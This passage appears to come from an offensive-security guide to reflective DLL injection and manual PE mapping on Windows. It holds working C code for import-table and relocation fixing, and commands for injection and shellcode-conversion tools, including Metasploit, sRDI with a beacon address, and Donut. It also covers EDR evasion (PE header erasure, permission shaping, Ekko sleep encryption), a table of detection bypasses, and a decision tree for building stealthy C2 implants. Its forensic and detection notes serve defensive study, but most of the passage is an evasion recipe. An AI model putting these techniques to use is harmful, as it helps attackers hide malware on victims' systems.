pVA fn = (pVA)resolve_by_hash(hK32, HASH_VIRTUAL_ALLOC);
12. IAT Patching & Import Resolution
What it means: After mapping a PE manually, the Import Address Table (IAT) is filled with the RVAs from the file — not the actual runtime addresses. The IAT must be patched so each entry points to the real function address in the current process. This is the last required step before a manually-mapped PE can call any Windows APIs.
12.1 IAT Structure
IAT (Import Address Table) Structure:
──────────────────────────────────────────────────
IMAGE_IMPORT_DESCRIPTOR (one per imported DLL):
- OriginalFirstThunk (INT) → array of IMAGE_THUNK_DATA:
├─ Each entry: RVA of IMAGE_IMPORT_BY_NAME {"Hint", "FunctionName"}
└─ Or: MSB set = import by ordinal, low 16 bits = ordinal number
- FirstThunk (IAT) → array of IMAGE_THUNK_DATA:
└─ BEFORE patching: same as INT (RVAs to name/ordinal entries)
└─ AFTER patching: actual function addresses in memory
- Name → DLL name (e.g., "kernel32.dll")
The Windows loader reads INT to know WHAT to import,
then WRITES resolved addresses into FirstThunk (IAT).
We replicate this manually.
12.2 Full IAT Fix (C)
// iat_fix.c — Resolve and patch the Import Address Table of a manually mapped PE
#include <windows.h>
#include <stdio.h>
BOOL resolve_iat(LPVOID imageBase) {
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)imageBase;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)imageBase + dos->e_lfanew);
DWORD importRVA = nt->OptionalHeader
.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]
.VirtualAddress;
if (!importRVA) return TRUE; // No imports — nothing to do
// Walk the array of IMAGE_IMPORT_DESCRIPTORs (one per DLL)
// Array is null-terminated (all-zero entry at end)
PIMAGE_IMPORT_DESCRIPTOR desc =
(PIMAGE_IMPORT_DESCRIPTOR)((BYTE*)imageBase + importRVA);
while (desc->Name != 0) {
char* dllName = (char*)((BYTE*)imageBase + desc->Name);
// Load the required DLL
HMODULE hDep = LoadLibraryA(dllName);
if (!hDep) {
printf("[-] Cannot load dependency: %s\n", dllName);
desc++;
continue;
}
printf("[+] Processing imports from: %s\n", dllName);
// OriginalFirstThunk = INT (name table, read-only reference)
PIMAGE_THUNK_DATA pINT =
(PIMAGE_THUNK_DATA)((BYTE*)imageBase + desc->OriginalFirstThunk);
// FirstThunk = IAT (this is where we write resolved addresses)
PIMAGE_THUNK_DATA pIAT =
(PIMAGE_THUNK_DATA)((BYTE*)imageBase + desc->FirstThunk);
// Walk until null thunk
while (pINT->u1.AddressOfData != 0) {
FARPROC funcPtr = NULL;
if (IMAGE_SNAP_BY_ORDINAL(pINT->u1.Ordinal)) {
// Import by ordinal: low 16 bits = ordinal number
WORD ord = (WORD)IMAGE_ORDINAL(pINT->u1.Ordinal);
funcPtr = GetProcAddress(hDep, (LPCSTR)(ULONG_PTR)ord);
if (funcPtr)
printf(" [>] #%d → 0x%p\n", ord, funcPtr);
else
printf(" [-] Failed: ordinal #%d\n", ord);
} else {
// Import by name
PIMAGE_IMPORT_BY_NAME ibn =
(PIMAGE_IMPORT_BY_NAME)((BYTE*)imageBase + pINT->u1.AddressOfData);
funcPtr = GetProcAddress(hDep, (LPCSTR)ibn->Name);
if (funcPtr)
printf(" [>] %s → 0x%p\n", ibn->Name, funcPtr);
else
printf(" [-] Failed: %s\n", ibn->Name);
}
// Patch IAT entry with resolved address
DWORD oldProt;
VirtualProtect(pIAT, sizeof(ULONG_PTR), PAGE_READWRITE, &oldProt);
pIAT->u1.Function = (ULONG_PTR)funcPtr;
VirtualProtect(pIAT, sizeof(ULONG_PTR), oldProt, &oldProt);
pINT++;
pIAT++;
}
desc++;
}
return TRUE;
}
13. Base Relocation Fixup
What it means: PE files contain hardcoded absolute addresses (e.g., pointer to a global variable). If the PE loads at a different base than its preferred ImageBase, all those hardcoded addresses are wrong by exactly (actualBase - preferredBase). The relocation table tells us exactly which bytes to patch.
13.1 Relocation Block Format
.reloc section structure:
─────────────────────────────────────────────────────────────
[IMAGE_BASE_RELOCATION block #1]:
DWORD VirtualAddress → Page base (4KB-aligned RVA)
DWORD SizeOfBlock → Total size of this block (including this header)
WORD TypeOffset[n] → Array of 2-byte entries:
bits 15-12: type (0=skip, A=DIR64 on x64, 3=HIGHLOW on x86)
bits 11-0: offset within the 4KB page
[IMAGE_BASE_RELOCATION block #2]:
...
[Null terminator]:
DWORD VirtualAddress = 0
DWORD SizeOfBlock = 0
Types:
IMAGE_REL_BASED_ABSOLUTE (0) → padding entry, skip
IMAGE_REL_BASED_HIGHLOW (3) → 32-bit absolute address (x86)
IMAGE_REL_BASED_DIR64 (A) → 64-bit absolute address (x64)
13.2 Full Relocation Fix (C)
// relocation_fix.c — Comprehensive base relocation processing
void apply_relocations(LPVOID imageBase, PIMAGE_NT_HEADERS nt) {
LONGLONG delta = (LONGLONG)imageBase
- (LONGLONG)nt->OptionalHeader.ImageBase;
if (delta == 0) return; // No relocation needed
DWORD relocRVA = nt->OptionalHeader
.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]
.VirtualAddress;
DWORD relocSize = nt->OptionalHeader
.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]
.Size;
if (!relocRVA || !relocSize) {
printf("[!] No relocation table — ASLR will break execution if base differs!\n");
return;
}
PIMAGE_BASE_RELOCATION block =
(PIMAGE_BASE_RELOCATION)((BYTE*)imageBase + relocRVA);
BYTE* relocEnd = (BYTE*)block + relocSize;
while ((BYTE*)block < relocEnd && block->VirtualAddress != 0) {
BYTE* pageBase = (BYTE*)imageBase + block->VirtualAddress;
DWORD entryCount = (block->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION))
/ sizeof(WORD);
WORD* entries = (WORD*)((BYTE*)block + sizeof(IMAGE_BASE_RELOCATION));
for (DWORD i = 0; i < entryCount; i++) {
BYTE type = entries[i] >> 12;
WORD offset = entries[i] & 0x0FFF;
switch (type) {
case IMAGE_REL_BASED_ABSOLUTE:
break; // Skip (padding)
case IMAGE_REL_BASED_DIR64: {
// x64: 64-bit pointer patch
UINT64* target = (UINT64*)(pageBase + offset);
*target += delta;
break;
}
case IMAGE_REL_BASED_HIGHLOW: {
// x86: 32-bit pointer patch
UINT32* target = (UINT32*)(pageBase + offset);
*target += (UINT32)delta;
break;
}
case IMAGE_REL_BASED_HIGH: {
// Patch high 16 bits only
UINT16* target = (UINT16*)(pageBase + offset);
*target += HIWORD(delta);
break;
}
default:
printf("[!] Unknown relocation type: %d\n", type);
}
}
// Advance to next block
block = (PIMAGE_BASE_RELOCATION)((BYTE*)block + block->SizeOfBlock);
}
printf("[+] Applied base relocations (delta: %+lld / 0x%llx)\n",
delta, (UINT64)delta);
}
14. Tools Reference
14.1 Stephen Fewer's ReflectiveDLLInjection (Original)
# [TOOL] The original RDI implementation
# GitHub: https://github.com/stephenfewer/ReflectiveDLLInjection
git clone https://github.com/stephenfewer/ReflectiveDLLInjection
# Build the reflective DLL (MSVC)
# Open ReflectiveDLLInjection.sln → Build → Release x64
# Outputs: reflective_dll.x64.dll
# Inject into a running process via Metasploit:
# msfconsole:
use post/windows/manage/reflective_dll_inject
set SESSION 1
set DLL /path/to/reflective_dll.x64.dll
set PID <target_pid>
run
14.2 sRDI (Shellcode Reflective DLL Injection)
# [TOOL] Convert any DLL to shellcode
# GitHub: https://github.com/monoxgas/sRDI
git clone https://github.com/monoxgas/sRDI
# Convert beacon.dll to shellcode
python3 sRDI/Python/ConvertToShellcode.py beacon.dll
# → beacon.bin (self-loading shellcode blob)
# With a specific export call
python3 sRDI/Python/ConvertToShellcode.py beacon.dll \
--function RunPayload \
--parameter "192.168.1.1:443"
14.3 Donut (PE/DLL/.NET to Shellcode)
# [TOOL] Convert PE, DLL, .NET assemblies to shellcode
# GitHub: https://github.com/TheWover/donut
git clone https://github.com/TheWover/donut && cd donut && make
# PE → shellcode (raw binary)
donut -i payload.exe -o payload.bin
# DLL with export → shellcode
donut -i beacon.dll -o beacon.bin -n DllMain
# .NET assembly → shellcode
donut -i Rubeus.exe -o rubeus.bin -p "asktgt /user:admin ..."
# With AES encryption
donut -i payload.exe -o payload.bin -e 2 # AES-256
donut -i payload.exe -o payload.bin -e 3 # Deflate compression
# Formats:
# -f 1 = raw binary (.bin)
# -f 4 = C header (.h)
# -f 8 = Python bytes (.py)
# -f 16 = PowerShell
14.4 Hasherezade's libpeconv
# [TOOL] PE manipulation and manual loading library
# GitHub: https://github.com/hasherezade/libpeconv
git clone https://github.com/hasherezade/libpeconv
# Features:
# - Manual PE loading (EXE and DLL)
# - Relocation processing with callbacks
# - IAT resolution with callbacks
# - PEB integration
# - ASLR handling
# C++ usage:
#include "peconv.h"
size_t v_size = 0;
// Load PE from file, manually map into memory
BYTE* loaded = peconv::load_pe_executable("payload.dll", v_size);
if (loaded) {
// PE is mapped, relocations + imports fixed automatically
// Call entry point
peconv::run_pe_entry(loaded, v_size, ...);
}
14.5 Process Hollowing Tools
# [TOOL] BulletTrain — Manual PE Mapping + injection
# GitHub: https://github.com/buzzer-re/BulletTrain
# Self-inject a PE
BulletTrain.exe malware.exe
# Inject into remote process (requires admin)
BulletTrain.exe malware.exe <target_process.exe>
# [TOOL] RunPE by hasherezade (process hollowing PoC)
# GitHub: https://github.com/hasherezade/runpe_hh
RunPE.exe target_exe.exe payload.exe
14.6 Detection and Analysis Tools
# [TOOL] Volatility — memory forensics (detecting reflective injection)
volatility -f memory.dmp --profile=Win10x64 malfind
# malfind: finds RWX private memory regions with PE headers
volatility -f memory.dmp --profile=Win10x64 dlllist -p <PID>
# dlllist: shows module list from PEB — reflective DLLs won't appear
volatility -f memory.dmp --profile=Win10x64 ldrmodules -p <PID>
# ldrmodules: cross-references 3 PEB lists + VAD — finds hidden modules
# [TOOL] Moneta — live process memory analysis
# GitHub: https://github.com/forrest-orr/moneta
Moneta64.exe -m ioc -p <PID>
# Finds: private RWX, modified sections, phantom mappings, unsigned code
# [TOOL] pe-sieve — scan process for PE artifacts
# GitHub: https://github.com/hasherezade/pe-sieve
pe-sieve.exe /pid <PID> /quiet
# Detects: module stomping, hollowing, injected PEs, patched modules
# [TOOL] Sysmon — event-based detection
# Key event IDs:
# EventID 7 = Image loaded (won't fire for reflective loads)
# EventID 8 = CreateRemoteThread
# EventID 10 = Process accessed (OpenProcess + CreateRemoteThread)
# EventID 17 = Pipe event
14.7 Cobalt Strike / Havoc Reflective Loading
# [TOOL] Cobalt Strike — uses reflective loading for beacons
# spawn → injects beacon using reflective DLL injection
# shinject → inject shellcode into process
# dllinject → reflective DLL injection into remote process
# execute-assembly → loads .NET assembly via CLR hosting
# Havoc C2 — reflective loading built into implant generation
# https://github.com/HavocFramework/Havoc
# Havoc agents use reflective loading + sleep encryption (Ekko/Cronos)
# Metasploit reflective injection
use post/windows/manage/reflective_dll_inject
# Uses Stephen Fewer's technique for reflective_dll.x64.dll injection
15. Detection & Evasion
15.1 What EDR Looks For
[DETECT] MEMORY-BASED SIGNATURES:
┌─ Private executable memory (RWX or RX) not backed by file on disk
│ → malfind, Moneta, pe-sieve all flag this
│
├─ PE header (MZ + PE magic) at start of a private memory region
│ → Strong indicator of manual mapping / reflective injection
│
├─ Executable memory region in a process with no corresponding module in PEB
│ → Volatility ldrmodules cross-reference
│
└─ Modified in-memory section content vs on-disk content
→ Module stomping / DLL hollowing fingerprint
[DETECT] BEHAVIORAL SIGNATURES:
┌─ OpenProcess(PROCESS_ALL_ACCESS) + VirtualAllocEx + WriteProcessMemory
│ + CreateRemoteThread in sequence (Sysmon EventID 8, 10)
│
├─ CreateProcess(CREATE_SUSPENDED) + ZwUnmapViewOfSection
│ + VirtualAllocEx + WriteProcessMemory + SetThreadContext + ResumeThread
│ → Process hollowing chain
│
├─ NtCreateTransaction + CreateFileTransacted + NtCreateSection(SEC_IMAGE)
│ + NtRollbackTransaction in sequence
│ → Phantom hollowing / Doppelgänging fingerprint
│
└─ PEB walk pattern (InLoadOrderModuleList traversal) in disassembly
→ ReflectiveLoader bootstrap indicator
[DETECT] STATIC SIGNATURES:
┌─ "ReflectiveLoader" export string in DLL
│ → Original Stephen Fewer technique
│
├─ PEB walking code pattern (GS:[0x60] → Ldr → InLoadOrderModuleList)
│
├─ API hash constants (0xDEADBEEF XOR chains, FNV-1a constants)
│
└─ PE header search loop (looking backward from RIP for "MZ")
15.2 Evasion Strategies
1. PE Header Erasure (after mapping)
// After mapping + resolving imports, erase the PE header from memory
// This defeats tools looking for "MZ" at start of executable regions
void erase_pe_header(LPVOID imageBase) {
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)imageBase;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)imageBase + dos->e_lfanew);
DWORD headerSize = nt->OptionalHeader.SizeOfHeaders;
DWORD oldProt;
VirtualProtect(imageBase, headerSize, PAGE_READWRITE, &oldProt);
memset(imageBase, 0, headerSize); // Zero out headers
VirtualProtect(imageBase, headerSize, PAGE_NOACCESS, &oldProt);
// PAGE_NOACCESS: even more suspicious memory access to this region will crash
}
// sRDI flags:
// ConvertToShellcode(dll, ..., flags=0x1)
// Flag 0x1 = clear DLL headers after load (automatic PE header erasure)
2. Proper Memory Permission Segmentation
// Don't use PAGE_EXECUTE_READWRITE for the whole image
// Set per-section permissions like the real Windows loader
void set_section_permissions(LPVOID imageBase, PIMAGE_NT_HEADERS nt) {
PIMAGE_SECTION_HEADER sections = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++) {
DWORD characteristics = sections[i].Characteristics;
DWORD newProt = PAGE_NOACCESS;
BOOL exec = (characteristics & IMAGE_SCN_MEM_EXECUTE) != 0;
BOOL read = (characteristics & IMAGE_SCN_MEM_READ) != 0;
BOOL write = (characteristics & IMAGE_SCN_MEM_WRITE) != 0;
if (exec && read && write) newProt = PAGE_EXECUTE_READWRITE;
else if (exec && read) newProt = PAGE_EXECUTE_READ;
else if (exec) newProt = PAGE_EXECUTE;
else if (read && write) newProt = PAGE_READWRITE;
else if (read) newProt = PAGE_READONLY;
BYTE* secAddr = (BYTE*)imageBase + sections[i].VirtualAddress;
SIZE_T secSize = sections[i].Misc.VirtualSize;
DWORD dummy;
VirtualProtect(secAddr, secSize, newProt, &dummy);
}
}
// Result: .text = RX, .data = RW, .rdata = R
// No RWX regions visible to memory scanners
3. PEB Linking (Anti-Volatility)
// For DLLs that should appear "legitimate" in the module list:
// Manually add a LDR_DATA_TABLE_ENTRY to the PEB module lists
// (Also called "Dark LoadLibrary" technique by MDSec 2021)
// This is the opposite of stealth — it makes the DLL *appear* in the module list
// Use case: when the loaded DLL itself needs to enumerate modules
// or when hiding from tools that look for missing module entries
// Dark LoadLibrary (MDSec): https://github.com/boku7/injectAmsiBypass
// Adds DLL to:
// PEB.Ldr.InLoadOrderModuleList
// PEB.Ldr.InMemoryOrderModuleList
// PEB.Ldr.InInitializationOrderModuleList
// LdrpHashTable (hash lookup)
4. Sleep Encryption for Reflective Implants (Ekko)
Ekko Technique (Cobalt Strike / custom C2):
Implant is running in memory (decrypted, executable)
↓
Before sleep:
├─ RtlCreateTimer with shellcode address → queues WaitTimer callback
├─ Queue APC via NtQueueApcThread:
│ → VirtualProtect(shellcode, RW) (make non-executable)
│ → SystemFunction032 / RC4-encrypt (encrypt self in-memory)
│ → sleep timer fires
│ → RC4-decrypt self
│ → VirtualProtect(shellcode, RX) (make executable again)
↓
During sleep:
Memory content = ENCRYPTED + non-executable
EDR periodic scanner sees: encrypted blob, no PE header, not executable
Result: scanner sees NOTHING suspicious
↓
After sleep: timer fires, decrypts, resumes
Tools implementing Ekko:
https://github.com/Cracked5pider/Ekko
https://github.com/Idov31/Cronos
https://github.com/JLospinoso/gargoyle
16. Comparison Matrix
| Technique | Disk Artifact | PEB Visible | File-Backed Mem | Hollowing | Complexity | EDR Evasion |
|---|---|---|---|---|---|---|
| Manual PE Map | No | No | No (private) | No | Medium | Medium |
| RDI (Stephen Fewer) | No | No | No (private) | No | High | Medium-High |
| sRDI | No | No | No (private) | No | Low (usage) | Medium-High |
| Process Hollowing | No | Yes (legit) | Yes (legit exe) | Yes | Medium | High |
| DLL Hollowing (stomp) | Yes (DLL exists) | Yes (legit) | Yes (legit DLL) | Yes | Medium | High |
| Phantom DLL Hollow | No (rolled back) | Optional | Yes (phantom) | Yes | Very High | Very High |
| Process Doppelgänging | No (rolled back) | Yes (legit) | Yes (phantom) | Partial | Very High | Very High |
17. Cheat Sheet
Quick Decision Tree — Which Technique?
Need to execute code reflectively?
│
├─ CTF / Learning / Lab?
│ └─ Manual PE Mapping (§4) → best to learn internals
│ OR simple RDI with Stephen Fewer's PoC
│
├─ Have DLL compiled with ReflectiveLoader?
│ └─ Use RDI directly (§5)
│ → inject raw DLL bytes + CreateRemoteThread at ReflectiveLoader offset
│
├─ Have DLL without ReflectiveLoader?
│ └─ Convert with sRDI (§6)
│ → python ConvertToShellcode.py target.dll → target.bin
│ → inject the .bin blob like any other shellcode
│
├─ Need payload to look like a trusted process?
│ └─ Process Hollowing (§7)
│ → notepad.exe / svchost.exe / RuntimeBroker.exe
│ → BE AWARE: well-detected on modern EDRs
│
├─ Need payload in "file-backed" memory?
│ ├─ Basic: DLL Hollowing / Module Stomping (§8)
│ │ → Load legit DLL → overwrite .text
│ │ → Fast, moderate evasion
│ │
│ └─ Advanced: Phantom DLL Hollowing (§9)
│ → Requires NTFS KTM APIs
│ → Best stealth — file never on disk
│
├─ Need cleanest possible artifacts?
│ └─ Process Doppelgänging (§10)
│ → Most complex, requires undocumented NtCreateProcessEx
│ → Now detected by Windows Defender on newer builds
│
└─ Building custom C2 / implant?
└─ Combine: sRDI conversion + DLL Hollowing + Ekko sleep encryption
→ Best-in-class implant stealth posture
Key APIs Reference
REFLECTIVE LOADING CORE APIs:
VirtualAlloc / VirtualAllocEx → Allocate local/remote memory
VirtualProtect / VirtualProtectEx → Change memory permissions
WriteProcessMemory → Write to remote process
CreateRemoteThread → Execute in remote process
GetThreadContext / SetThreadContext → Redirect thread execution
ResumeThread → Resume suspended thread
LoadLibraryA / GetProcAddress → Resolve imports (after IAT is set up)
NTAPI (ntdll.dll) — REFLECTIVE LOADING:
NtUnmapViewOfSection → Hollow out process/section
NtCreateSection → Create section object
NtMapViewOfSection → Map section into process
NtCreateTransaction → Start NTFS transaction (KTM)
NtRollbackTransaction → Roll back (phantom hollow)
NtCreateProcessEx → Create process from section
PEB NAVIGATION (x64):
GS:[0x60] → PEB address
PEB+0x18 → PEB.Ldr (PEB_LDR_DATA pointer)
Ldr+0x10 → InLoadOrderModuleList.Flink (first module entry)
Entry+0x30 → DllBase (module base address)
Entry+0x58 → BaseDllName.Buffer (module name)
Key Structures Reference
// PE Navigation Quick Reference
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
// dos->e_magic = 0x5A4D ("MZ")
// dos->e_lfanew = offset to PE header
PIMAGE_NT_HEADERS nt = base + dos->e_lfanew;
// nt->Signature = 0x00004550 ("PE\0\0")
// nt->FileHeader = IMAGE_FILE_HEADER
// nt->OptionalHeader = IMAGE_OPTIONAL_HEADER
// Key OptionalHeader fields:
// .ImageBase → preferred load address
// .SizeOfImage → total size when mapped
// .SizeOfHeaders → size of MZ+PE headers
// .AddressOfEntryPoint → RVA to DllMain/main
// .DataDirectory[0] → Export table
// .DataDirectory[1] → Import table (IAT)
// .DataDirectory[5] → Base Relocation table
// Section headers: IMAGE_FIRST_SECTION(nt) → array
// .VirtualAddress → RVA in memory
// .PointerToRawData → FOA on disk
// .SizeOfRawData → on-disk size
// .Misc.VirtualSize → in-memory size
// .Characteristics → RWX flags (0x20 = CODE, 0x20000000 = EXECUTE, etc.)
Detection Bypass Summary
Detected by: Bypass:
───────────────────────────────────────────────────────────────
Sysmon EventID 7 Avoid LoadLibrary → use manual mapping / RDI
(Image Load)
Sysmon EventID 8 Inject via APC (QueueUserAPC) instead of
(CreateRemoteThread) CreateRemoteThread — different event
malfind (Volatility) PE header erasure after load + Ekko sleep encryption
(Private RWX + MZ)
Module list check PEB linking (Dark LoadLibrary) OR stay unlinked
(PEB.Ldr) and accept being "hidden"
Section content vs Phantom DLL Hollowing / Process Doppelgänging
file content → no file to compare against
YARA string rules API hashing → no plaintext "VirtualAlloc" etc.
(import strings) in binary
RWX memory flag Proper section permissions (§15.2 technique 2)
→ .text=RX, .data=RW — no single RWX region
EDR during beacon Ekko / Cronos sleep encryption
sleep scan → encrypt+non-executable during sleep
References & Tools
Core PoCs & Libraries: - Stephen Fewer — Original RDI → https://github.com/stephenfewer/ReflectiveDLLInjection - monoxgas — sRDI → https://github.com/monoxgas/sRDI - TheWover — Donut → https://github.com/TheWover/donut - hasherezade — libpeconv → https://github.com/hasherezade/libpeconv - hasherezade — pe-sieve → https://github.com/hasherezade/pe-sieve - hasherezade — process doppelgänging → https://github.com/hasherezade/process_doppelganging - Forrest Orr — Phantom DLL Hollowing PoC → https://github.com/forrest-orr/phantom-dll-hollower-poc
Sleep Encryption: - Ekko (C5pider) → https://github.com/Cracked5pider/Ekko - Cronos (Idov31) → https://github.com/Idov31/Cronos - Gargoyle (JLospinoso) → https://github.com/JLospinoso/gargoyle
Memory Forensics / Detection:
- Moneta (Forrest Orr) → https://github.com/forrest-orr/moneta
- Volatility malfind → volatility -f dump.bin malfind --profile Win10x64
- BulletTrain → https://github.com/buzzer-re/BulletTrain
Research & Reading: - Forrest Orr — "Masking Malicious Memory Artifacts" (CyberArk 2020) → Phantom DLL Hollowing - MDSec — "Dark LoadLibrary" (2021) → PEB linking for reflective DLLs - Elastic Security — "Ten Process Injection Techniques" → Survey of methods - IRED.team → https://www.ired.team (RDI lab writeup) - CrowdStrike — HijackLoader analysis (2024) → Modern hollow + doppelgänging combos - MITRE ATT&CK: T1055.001 (DLL Injection), T1055.012 (Process Hollowing)